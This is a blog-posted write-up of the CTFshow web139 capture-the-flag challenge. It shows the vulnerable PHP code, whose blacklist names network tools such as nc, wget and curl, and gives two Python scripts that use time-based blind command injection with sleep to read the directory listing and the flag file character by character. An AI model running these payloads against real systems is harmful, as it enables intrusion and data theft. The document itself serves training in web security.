CTFshow-WEB入门-php特性web139

题目代码

<?php
error_reporting(0);
function check($x){
    if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
        die('too young too simple sometimes naive!');
    }
}
if(isset($_GET['c'])){
    $c=$_GET['c'];
    check($c);
    exec($c);
}
else{
    highlight_file(__FILE__);
}

要进行命令盲注

前置知识:

ls / -1,结果自动换行

ls / -1 | awk "NR==1",取第一行

ls / -1 | awk "NR==1" | cut -c 1,取第一行第一个字符

`命令`,返回命令的结果

if [ `ls / -1 | awk "NR==1" | cut -c 1` == "b" ];then sleep 5;fi,如果ls第一个字符为b则延迟5秒(一些位置空格必须有)

解题:

使用Python脚本跑 ls / -1 结果

import requests

url = 'http://8f3e495d-2606-497c-8cc8-e553540b977e.challenge.ctf.show/?c='
payload = '''if [ `ls / -1 | awk "NR=={}" | cut -c {}` == "{}" ];then sleep 5;fi'''

max_NR = 5 # 假设最多4行
max_c = 13 # 假设一行最多12个字符(f149_15_h3r3)
chars = 'abcdefghijklmnopqrstuvwxyz0123456789_-.' # 可能出现的字符

for NR in range(1, max_NR): # 从第一行开始
    for c in range(1, max_c): # 从第一个字符开始
        for char in chars:
            try:
                requests.get(url+payload.format(NR, c, char), timeout = 3) # 自动URL编码
            except:
                print(char, end = '') # 出现延迟输出字符
                break
    print()

使用Python脚本跑 cat /f149_15_h3r3 结果(稍微改了一点)

import requests

url = 'http://8f3e495d-2606-497c-8cc8-e553540b977e.challenge.ctf.show/?c='
payload = '''if [ `cat /f149_15_h3r3 | awk "NR=={}" | cut -c {}` == "{}" ];then sleep 5;fi'''

max_NR = 2 # 假设最多1行
max_c = 50 # 假设一行最多49个字符
chars = 'ctfshow{0123456789abcdefg-}' # 可能出现的字符

for NR in range(1, max_NR): # 从第一行开始
    for c in range(1, max_c): # 从第一个字符开始
        for char in chars:
            try:
                requests.get(url+payload.format(NR, c, char), timeout = 3) # 自动URL编码
            except:
                print(char, end = '') # 出现延迟输出字符
                break
    print()
posted @ 2023-01-23 01:15  Hacker&Cat  阅读(222)  评论(0编辑  收藏  举报